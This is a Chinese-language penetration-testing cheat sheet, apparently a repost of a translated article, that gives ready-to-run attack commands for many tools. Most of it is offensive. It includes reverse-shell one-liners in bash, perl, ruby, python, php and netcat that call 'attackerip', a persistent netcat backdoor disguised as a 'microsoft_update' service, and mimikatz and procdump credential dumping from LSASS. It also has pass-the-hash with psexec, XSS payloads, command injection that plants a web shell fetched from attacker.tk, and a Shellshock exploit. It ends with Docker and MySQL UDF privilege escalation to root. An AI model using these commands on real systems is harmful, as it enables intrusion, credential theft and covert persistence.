本文在编译原作者内容的基础上,补充增加了工具的下载安装地址及一些工具的补充学习资料,便于大家进行横向的拓展学习。如有不恰当之处,欢迎大家在评论区指正
公众号:黑客菌 分享更多技术文章,欢迎关注一起探讨学习
Nmap是一款枚举和测试网络的强大工具,有主机探测、端口扫描、版本检测、系统检测以及支持探测脚本编写等功能。
Nmap下载安装地址: https:// nmap.org/download.html# purpleheader
漏洞扫描
cd /usr/share/nmap/scripts/ //切换到指定目录 wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz //下载并解压 nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
Nmap端口扫描
1)生成随机数量的欺骗 2)爆破 3)打包数据 – 就像原始的一个不扫描数据包 4)nmap -sI [Zombie IP] [Target IP]僵尸网络扫描, 首先需要找到僵尸网络的IP 5)nmap –source-port 53 target 指定源端口号 nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP) nmap -Pn -T2 -sV –randomize-hosts IP1,IP2 nmap –script smb-check-vulns.nse -p445 target (using NSE scripts) nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5) nmap -sA -PN -sN target nmap -sS -sV -T5 -F -A -O target (version detection) nmap -sU -v target (Udp) nmap -sU -P0 (Udp) nmap -sC 192.168.31.10-12 (all scan default)
DIRB是一款目录扫描工具,内置于Kali,可发现潜在的渗透目标。基本上,它是通过对Web服务器发起基于字典的攻击并分析响应来工作的。
DIRB下载地址: https:// sourceforge.net/project s/dirb/files/
拓展学习: https://www. cnblogs.com/yyxianren/p /11520489.html
dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt
注:正常扫描格式为:dirb 目标 字典路径
Nikto是一款开源的网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件CGIs;超过625种服务器版本;超过230种特定服务器问题。
源码下载: https:// github.com/sullo/nikto
安装及简单使用教程: https://www. cnblogs.com/opama/p/492 8657.html
nikto -C all -h http://IP
注:-C 指定CGI目录 –all表示猜解CGI目录 -h 指定目标
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。
源码下载: https:// github.com/wpscanteam/w pscan.git
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan ./wpscan –url http://IP/ –enumerate p
注:wpscan –url #扫描基本信息
Net-Square 的Httprint工具,是一个自动化的http指纹分析工具,带有可定制web服务器指纹数据库,运用统计学原理,组合逻辑学技术,可有效识别Http服务器的类型。
下载地址: http://www. net-square.com/_assets/ httprint_linux_301.zip
wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip //下载并解压压缩文件包 cd httprint_301/linux/ //切换到指定目录 ./httprint -h http://IP -s signatures.txt // -h指定网站链接 -s 指定一个包含http签名的文件,默认就是signatures.txt
Skipfish是一款主动的Web应用程序安全侦察工具。它通过执行递归爬取和基于字典的探测来为目标站点准备交互式站点地图。最终的地图然后用来自许多活动(但希望是不中断的)安全检查的输出来注释。该工具生成的最终报告旨在作为专业Web应用程序安全评估的基础。
下载地址: http:// code.google.com/p/skipf ish
拓展学习资料: https:// my.oschina.net/u/995648 /blog/114321
skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP
注:参数 -m:表示每个ip最大并发连接数。参数-L:不自动学习网站的新关键字。参数-Y:不要模糊目录brute forc中的扩展。参数 -s:加载附加只读字典。参数 -o:将输出写入指定目录(必需)
NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end)工具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。NetCat,它的实际可运行的名字叫nc,应该早很就被提供,就象另一个没有公开但是标准的Unix工具。
下载网址: http://www. atstake.com/research/to ols/network_utilities/
拓展学习: https:// blog.csdn.net/xysoul/ar ticle/details/52270149?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-14&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-14
nc -v -w 1 target -z 1-1000 for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
注:参数-v:显示详细的输出内容
Netcat的一些用法
c:> nc -l -p 31337 #nc 192.168.0.10 31337 c:> nc -v -w 30 -p 31337 -l < secret.txt #nc -v -w 2 192.168.0.10 31337 > secret.txt
用NC抓banner
nc 192.168.0.10 80 GET / HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/4.0 Referrer: www.example.com
使用 NC 在 Windows 上反弹 shell
c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80 nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
Unicornscan是一款通过尝试连接用户系统(User-land)分布式TCP/IP堆栈获得信息和关联关系的端口扫描器。它主要功能包括带有所有TCP变种标记的异步无状态TCP扫描、异步无状态TCP标志捕获、通过分析反馈信息获取主动/被动远程操作系统、应用程序、组件信息
网站主页: http://www. unicornscan.org/
拓展学习: https:// sanppz.com/2019/11/30/U nicornscan%E7%AB%AF%E5%8F%A3%E6%89%AB%E6%8F%8F/#%E4%BB%80%E4%B9%88%E6%98%AFUnicornscan%EF%BC%9F
us -H -msf -Iv 192.168.56.101 -p 1-65535 us -H -mU -Iv 192.168.56.101 -p 1-65535 -H 在生成报告阶段解析主机名 -m 扫描类型 (sf - tcp, U - udp) -Iv - 详细
xprobe2是一款远程主机操作系统探测工具。
网站主页: http:// xprobe.sourceforge.net/ oldindex.html
下载地址: https:// sourceforge.net/project s/xprobe/files/latest/download
拓展学习: https:// blog.csdn.net/qq_406336 69/article/details/84656228
xprobe2 -v -p tcp:80:open IP
注:参数-v:详细输出。参数-p:对指定端口/组端口进行扫描。
拓展学习资料: https:// blog.csdn.net/yexiangcs dn/article/details/82867469
nmblookup -A target smbclient //MOUNT/share -I target -N rpcclient -U "" target enum4linux target
注:smbclient命令属于samba套件。参数-I:指定服务器的IP地址。-N:不用询问密码。参数-u:指定用户名称
snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
net localgroup Users net localgroup Administrators search dir/s *.doc system("start cmd.exe /k $cmd") sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore /c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779 mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" Procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords" C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32位系统 C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64位系统
下载地址: https://www. chiark.greenend.org.uk/ ~sgtatham/putty/
使用手册: https:// the.earth.li/~sgtatham/ putty/0.73/htmldoc/
// 转发远程端口到目标地址 plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP
Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。
拓展学习《Meterpreter命令详解》: https://www. cnblogs.com/backlion/p/ 9484949.html
拓展学习《后渗透之meterpreter使用攻略》: https:// xz.aliyun.com/t/2536
// https://www.offensive-security.com/metasploit-unleashed/portfwd/ // 转发远程端口到目标地址 meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141 kali > rdesktop 127.0.0.1:3389
远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。位于TCP/IP协议族的应用层。在使用RDP协议的会话中,客户端的鼠标或者键盘等消息经过加密后传输到远端服务器并予以重放执行,而远端服务器所进行的一系列响应也以加密消息的形式通过网络回传给客户端,并借助客户端的图形引擎表示出来。
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable
mimikatz 在内网渗透中是个很有用的工具。它可能让攻击者从内存中抓到明文密码。不仅如此,它还可以提升进程权限,注入进程,读取进程内存等等, mimikatz 包含了很多本地模块,更像是一个轻量级的调试器。
下载地址: https:// github.com/gentilkiwi/m imikatz
拓展学习: https:// blog.csdn.net/kevinstoi c/article/details/9004784
git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full
//访问git项目 git clone https://github.com/byt3bl33d3r/pth-toolkit pth-winexe -U hash //IP cmd 或者 apt-get install freerdp-x11 xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP 或者 meterpreter > run post/windows/gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit meterpreter > s
hashcat号称世界上最快的密码破解,世界上第一个和唯一的基于GPGPU规则引擎,免费多GPU(高达128个GPU),多哈希,多操作系统(Linux和Windows本地二进制文件),多平台(OpenCL和CUDA支持),多算法,资源利用率低,基于字典攻击,支持分布式破解等等。
下载地址 https:// hashcat.net/files/hashc at-4.1.0.7z
拓展学习: https://www. freebuf.com/sectool/164 507.html
hashcat -m 400 -a 0 hash /root/rockyou.txt
注:-m, —hash-type=NUM :哈希类别,其NUM值参考其帮助信息下面的哈希类别值,其值为数字。如果不指定m值则默认指md5,例如-m 1800是sha512 Linux加密。
-a, –attack-mode=NUM:攻击模式,其值参考后面对参数。“-a 0”字典攻击,“-a 1” 组合攻击;“-a 3”掩码攻击
// 查找SUID root 文件 find / -user root -perm -4000 -print // 查找SGID root 文件: find / -group root -perm -2000 -print // 查找任何人拥有的 SUID 和 SGID 文件: find / -perm -4000 -o -perm -2000 -print // 查找不属于任何用户的文件: find / -nouser -print // 查找不属于任何组的文件: find / -nogroup -print // 查找符号链接及其指向的内容: find / -type l
python -c 'import pty;pty.spawn("/bin/bash")'
python2 -m SimpleHTTPServer python3 -m http.server ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start" php -S 0.0.0.0:8888
fuser -nv tcp 80 fuser -k -n tcp 80
Hydra是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装,其中Kali Linux中自带Hydra。
拓展学习: https:// blog.csdn.net/qq_406575 85/article/details/84557478
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
注:L后面是账号集,P后面是密码集。
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
gcc -m32 -o output32 hello.c (32 位) gcc -m64 -o output hello.c (64 位)
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download wine mingw-get-setup.exe select mingw32-base cd /root/.wine/drive_c/windows wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe
NASM 全称 The Netwide Assembler,是一款基于80×86和x86-64平台的汇编语言编译程序,其设计初衷是为了实现编译器程序跨平台和模块化的特性。
主页地址: https://www. nasm.us/index.php
拓展学习: https:// blog.csdn.net/patronwa/ article/details/100099213
nasm -f bin -o payload.bin payload.asm nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload
拓展学习《SSH内网穿透的N种姿势》: https:// blog.csdn.net/MasonQAQ/ article/details/78190400
ssh -D 127.0.0.1:1080 -p 22 user@IP Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains commands target
ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target
拓展学习《Meterpreter命令详解》: https://www. cnblogs.com/backlion/p/ 9484949.html
route add X.X.X.X 255.255.255.0 1 use auxiliary/server/socks4a run proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E 或者 https://www.offensive-security.com/metasploit-unleashed/pivoting/ meterpreter > ipconfig IP Address : 10.1.13.3 meterpreter > run autoroute -s 10.1.13.0/24 meterpreter > run autoroute -p 10.1.13.0 255.255.255.0 Session 1 meterpreter > Ctrl+Z msf auxiliary(tcp) > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 10.1.13.2 msf exploit(psexec) > exploit meterpreter > ipconfig IP Address : 10.1.13.
ExploitDB 是一个面向全世界黑客的漏洞提交平台,该平台会公布最新漏洞的相关情况,这些可以帮助企业改善公司的安全状况,同时也以帮助安全研究者和渗透测试工程师更好的进行安全测试工作。Exploit-DB提供一整套庞大的归档体系,其中涵盖了各类公开的攻击事件、漏洞报告、安全文章以及技术教程等资源。
git clone https://github.com/offensive-security/exploit-database.git cd exploit-database ./searchsploit –u ./searchsploit apache 2.2 ./searchsploit "Linux Kernel" cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
MSF是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
windows下安装MSF: https://www. cnblogs.com/M0rta1s/p/1 1619727.html
KALI自带
拓展学习: https:// blog.csdn.net/rentian1/ article/details/88921336
拓展学习: https://www. freebuf.com/sectool/210 292.html
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X > system.exe msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=443 R > exploit.php msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -e -a x86 --platform win -f asp -o file.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=LPORT=443 -e -f elf -a x86 --platform linux -o shell
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py
msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT= -f asp -a x86 --platform win -o shell.asp
msfvenom -p cmd/unix/reverse_bash LHOST=LPORT= -o shell.sh
msfvenom -p php/meterpreter_reverse_tcp LHOST=LPORT= -o shell.php add
msfvenom -p windows/meterpreter/reverse_tcp LHOST=LPORT= -f exe -a x86 --platform win -o shell.exe
// 使用 uid 查找对应的程序 find / -uid 0 -perm -4000 // 查找哪里拥有写权限 find / -perm -o=w // 查找名称中包含点和空格的文件 find / -name " " -print find / -name ".." -print find / -name ". " -print find / -name " " -print // 查找不属于任何人的文件 find / -nouser // 查找未链接的文件 lsof +L1 // 获取进程打开端口的信息 lsof -i // 看看 ARP 表中是否有奇怪的东西 arp -a // 查看所有账户 getent passwd // 查看所有用户组 getent group // 列举所有用户的 crontabs for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done // 生成随机密码 cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4 // 查找所有不可修改的文件 find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’ // 使文件不可修改 chattr -i file
msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c COMMONLY USED BAD CHARACTERS: \x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_) // 常用命令: pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode ) !pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh !mona config -set workingfolder C:\Mona\%p !mona config -get workingfolder !mona mod !mona bytearray -b "\x00\x0a" !mona pc 5000 !mona po EIP !mona sugg
SEH(“Structured Exception Handling”),即结构化异常处理,是 windows 操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。
拓展学习: https:// blog.csdn.net/qq_408907 56/article/details/89950455
拓展学习: https:// bbs.pediy.com/thread-24 9592.htm
// 参考文章:https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH !mona suggest !mona nosafeseh nseh="\xeb\x06\x90\x90" (next seh chain) iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)
ROP(“Return-Oriented Programming”)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。
DEP(“Data Execution Prevention”)是一套软硬件技术,在内存上严格将代码和数据进行区分,防止数据当做代码执行
// 参考文章:https://en.wikipedia.org/wiki/Return-oriented_programming // 参考文章:https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B // 参考文章:https://en.wikipedia.org/wiki/Data_Execution_Prevention !mona modules !mona ropfunc -m *.dll -cpb "\x00\x09\x0a" !mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest
参考文章: https:// baike.baidu.com/item/%E 5%9C%B0%E5%9D%80%E7%A9%BA%E9%97%B4%E9%85%8D%E7%BD%AE%E9%9A%8F%E6%9C%BA%E5%8A%A0%E8%BD%BD/22785938?fromtitle=aslr&fromid=5779647
// 参考文章:https://en.wikipedia.org/wiki/Address_space_layout_randomization !mona noasl
Egg hunting这种技术可以被归为“分级shellcode”,它主要可以支持你用一小段特制的shellcode来找到你的实际的(更大的)shellcode(我们的‘鸡蛋‘),原理就是通过在内存中搜索我们的最终shellcode。换句话说,一段短代码先执行,然后再去寻找真正的shellcode并执行。
拓展学习: http://www. fuzzysecurity.com/tutor ials/expDev/4.html
拓展学习: https://www. pediy.com/kssd/pediy12/ 116190/831793/45248.pdf (看雪论坛)
// https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/ !mona jmp -r esp !mona egg -t lxxl \xeb\xc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t 'w00t'
// 设置断点 break *_start // 执行下一个命令 next step n s // 继续执行 continue c // 数据 checking 'REGISTERS' and 'MEMORY' // 显示寄存器的值: (Decimal,Binary,Hex) print /d –> Decimal print /t –> Binary print /x –> Hex O/P : (gdb) print /d $eax $17 = 13 (gdb) print /t $eax $18 = 1101 (gdb) print /x $eax $19 = 0xd (gdb) // 显示特定内存地址的值 command : x/nyz (Examine) n –> Number of fields to display ==> y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal) z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32
bash -i >& /dev/tcp/X.X.X.X/443 0>&1 exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' // Win 平台 perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' // Win 平台 ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443 // 如果 -e 参数被禁用,可以尝试以下命令 // mknod backpipe p && nc attackerip 443 0backpipe /bin/sh | nc attackerip 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/ // 如果你安装错了 netcat 的版本,请尝试以下命令 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/
// 如果 netcat 不可用或者 /dev/tcp mknod backpipe p && telnet attackerip 443 0backpipe
// http://baike.baidu.com/view/418628.htm // 开启 X 服务器 (:1 – 监听 TCP 端口 6001) apt-get install xnest Xnest :1 // 记得授权来自目标 IP 的连接 xterm -display 127.0.0.1:1 // 授权访问 xhost +targetip // 在目标机器上连接回我们的 X 服务器 xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xte
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet ("< iframes > src=http://IP:PORT iframes >") ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–>">'> ";!–"=&{()} ![]()
![]()
"">
![]()
![]()
perl -e 'print "
";' > out (">< iframes http://google.com < iframes >) "> %253cscript%253ealert(document.cookie)%253c/script%253e ">
alert(document.cookie) %22/%3E%3CBODY%20οnlοad=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E![]()
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N
倍加强版。
官方网站: http://www. dest-unreach.org/socat/
安装及使用教程: https:// blog.csdn.net/u01028597 4/article/details/81209594
命令学习: https://www. jianshu.com/p/54005e309 5f3
// 远端服务器 // 假设你准备让 SCTP socket 监听端口 80/SCTP 并且 sshd 端口在 22/TCP $ socat SCTP-LISTEN:80,fork TCP:localhost:22 // 本地端 // 将 SERVER_IP 换成远端服务器的地址,然后将 80 换成 SCTP 监听的端口号 $ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80 // 创建 socks 代理 // 替换 username 和 -p 的端口号 $ ssh -lusername localhost -D 8080 -p 1337 使用洋葱网络 // 安装服务 $ apt-get install tor torsocks // 绑定 ssh 到 tor 服务端口 80 // /etc/tor/torrc SocksPolicy accept 127.0.0.1 SocksPolicy accept 192.168.0.0/16 Log notice file /var/log/tor/notices.log RunAsDaemon 1 HiddenServiceDir /var/lib/tor/ssh_hidden_service/ HiddenServicePort 80 127.0.0.1:22 PublishServerDescriptor 0 $ /etc/init.d/tor start $ cat /var/lib/tor/ssh_hidden_service/hostname 3l5zstvt1zk5jhl662.onion // ssh 客户端连接 $ apt-get install torsocks $ torsocks ssh [email protected] -p
Metagoofil 是一款利用Google收集信息的工具。它可以自动在搜素引擎中检索和分析文件,还具有提供Mac地址,用户名列表等其他功能
官网地址 http://www. edge-security.com/metag oofil.php
拓展学习《metagoofil用法》: https:// blog.csdn.net/feier7501 /article/details/8937376
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html
一个发现并利用服务器 Shellshock 的工具
安装及使用: https:// github.com/nccgroup/sho cker
$ ./shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose // 查看文件 $ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(
// 获取 Docker 的 Root // user 必须在 docker 用户组中 ek@victum:~/docker-test$ id uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker) ek@victum:~$ mkdir docker-test ek@victum:~$ cd docker-test ek@victum:~$ cat > Dockerfile FROM debian:wheezy ENV WORKDIR /stuff RUN mkdir -p $WORKDIR VOLUME [ $WORKDIR ] WORKDIR $WORKDIR << EOF ek@victum:~$ docker build -t my-docker-image . ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \ 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami # root ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/
// 让数据和命令使用 DNS 隧道传输以绕过防火墙的检查 // dnscat2 支持从目标主机上面上传和下载命令来获取文件、数据和程序 // 服务器 (攻击者) $ apt-get update $ apt-get -y install ruby-dev git make g++ $ gem install bundler $ git clone https://github.com/iagox86/dnscat2.git $ cd dnscat2/server $ bundle install $ ruby ./dnscat2.rb dnscat2> New session established: 16059 dnscat2> session -i 16059 // 客户机 (目标) // https://downloads.skullsecurity.org/dnscat2/ // https://github.com/lukebaggett/dnscat2-powershell $ dnscat --host
$ nasm -f elf32 simple32.asm -o simple32.o $ ld -m elf_i386 simple32.o simple32 $ nasm -f elf64 simple.asm -o simple.o $ ld simple.o -o simple
// 生成 shell 使用的 ssh 密钥 $ wget -O - -q "http://domain.tk/sh.php?cmd=whoami" $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" " $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" // 增加用户 tempuser $ useradd -m tempuser $ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys $ chmod 700 /home/tempuser/.ssh/authorized_keys $ chown -R tempuser:tempuser /home/tempuser/.ssh // 反弹 ssh shell $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@
attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php' attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php' attacker:~$ curl http://victum.tk/shell.php?cmd=id // 在服务器上下载 shell (phpshell.php) http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27 // 运行 nc 并执行 phpshell.php attacker:~$ nc -nvlp
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205 $ searchsploit ms08-067 $ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1
# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu) $ wget 0xdeadbeef.info/exploits/raptor_udf2.c $ gcc -g -c raptor_udf2.c $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob); mysql> insert into foo values(load_file('/home/user/raptor_udf2.so')); mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; mysql> create function do_system returns integer soname 'raptor_udf2.so'; mysql> select * from mysql.func; mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out'); user:~$ su - Password: user:~# whoami root root:~# id uid=0(root) gid=0(root) groups=0(root)
